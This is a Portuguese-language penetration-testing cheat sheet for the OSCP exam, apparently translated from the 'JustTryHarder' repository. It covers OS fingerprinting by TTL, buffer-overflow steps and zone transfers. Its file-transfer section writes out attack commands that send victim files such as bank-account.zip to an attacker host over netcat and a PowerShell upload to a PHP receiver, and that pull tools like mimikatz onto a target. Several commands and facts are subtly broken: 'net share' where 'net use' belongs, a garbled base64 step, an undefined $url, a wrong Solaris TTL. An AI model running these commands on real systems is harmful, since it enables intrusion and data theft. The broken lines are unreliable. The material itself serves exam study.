
Folha de dicas abrangente de testes de penetração para preparação para o exame PWK/OSCP, cobrindo escalonamento de privilégios, quebra de senhas, geração de payloads, pós-exploração, varredura de portas, ataques web e técnicas de reconhecimento.
JustTryHarder é uma folha de dicas que te ajudará durante o curso PWK e o exame OSCP.
(Inspirado por PayloadAllTheThings)
Sinta-se à vontade para enviar um Pull Request e deixar uma estrela para mostrar apreço se isso te ajudou. 💖
Amigável para Hacktoberfest! Sim, aceitamos Pull Requests para o Hacktoberfest! Por favor, certifique-se de que não é spam e que contribui de forma genuína para este repositório. Obrigado e feliz hackeamento!
Aviso: Nada abaixo inclui spoilers dos laboratórios PWK / exame OSCP.
Obtive grande parte dessas informações através de outros repositórios do Github, blogs, sites e mais. Tentei dar o máximo de crédito possível ao criador original. Se não lhe dei crédito, por favor entre em contato comigo no Twitter: https://twitter.com/s1nfulz
ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms
O `TTL` pode ser usado para determinar o SO do host. Os três tipos diferentes de TTL são mostrados abaixo:
- **TTL=64** = \*nix - O contador de saltos; então, se você está obtendo 61, existem 3 saltos e é um dispositivo \*nix. Muito provavelmente Linux.
- **TTL=128** = Windows - Novamente, se o TTL é 127, então o salto é 1 e é uma máquina Windows.
- **TTL=254** = Solaris/AIX - Se o TTL é 250, então o contador de saltos é 4 e é uma máquina Solaris.
## BOF (WIP)
(Caracteres ruins típicos incluem: `0x00`, `0x0A`, `0x0D`)
- Fuzzing
- Encontrando a posição do EIP
- Encontrando caracteres ruins
- Localizando `jmp esp`
- Gerando payload com `msfvenom`
- Obtendo reverse shell com `netcat`
**Bons recursos de BOF:**
- [NCC Group - Escrevendo Exploits para Win32](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
- [Corelan - Tutorial de Escrita de Exploit Parte 1](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
- [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
- [VeteranSec - Buffer Overflows de 32 bits do Windows Simplificados](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)
## Breakouts / Escapes de Ambiente
- [Pentest Partners - Saindo do Citrix](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
- [SRA.io - Breakout do SiteKiosk](https://sra.io/blog/sitekiosk-breakout/)
- [TrustedSec - Teclas de Breakout de Kiosk/POS](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
- [Cognosec - Saindo do Ambiente Citrix](https://cognosec.com/breaking-out-of-citrix-environment/)
- [NetSPI - Saindo de Aplicações](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
- [NCC Group - Problemas Comuns com Breakouts de Ambiente (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
- [GracefulSecurity - Breakout do Citrix](https://gracefulsecurity.com/citrix-breakout/)
## DNS - Transferências de Zona```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## Transferências de Arquivos
### Transferência SMB
Na máquina vítima (Windows):```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Transferência Wget
Como recuperar arquivo(s) do host (dentro de um shell reverso).
**Configuração:** Coloque o arquivo que deseja transferir em `/var/www/html/` e execute `service apache2 start`.
Execute no servidor remoto:```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64) # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/) # <- for folder
```
### Transferência TFTP
(Como transferir do Kali para o Windows).
**Usando MSF:**
Inicie o MSF antes destes passos:
1. `use auxiliary/server/tftp`
2. `set TFTPROOT /usr/share/mimikatz/Win32/`
3. `run`
**Dentro de um terminal:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`
### NetCat (Windows para Kali)
1. **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2. **Linux:** `nc -nlvp 4444 > bank-account.zip`
### PowerShell
Sessão interativa:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
Sem uma sessão interativa do PowerShell (Crie `wget.ps1`):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux -\> Linux)
**Host Local:**
1. `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2. Transfira o `encoded.b64` para o servidor remoto via `nc` ou outro método.
**Servidor Remoto - Linux:**
3. `cat /path/to/encoded.b64 | base64 -d > exploit.py`
### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### Upload de Arquivo HTTP (Exfiltração)
**1. Crie upload.php**
Crie na raiz web da máquina atacante (`/var/www/html` por padrão).```php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```
**2. Criar diretório**
Crie o diretório de upload e defina as permissões apropriadas para permitir o upload.```bash
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
```
**3. Enviar arquivo**
Enviar arquivo da máquina vítima para a máquina atacante usando PowerShell:```powershell
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
```
## Kerberoasting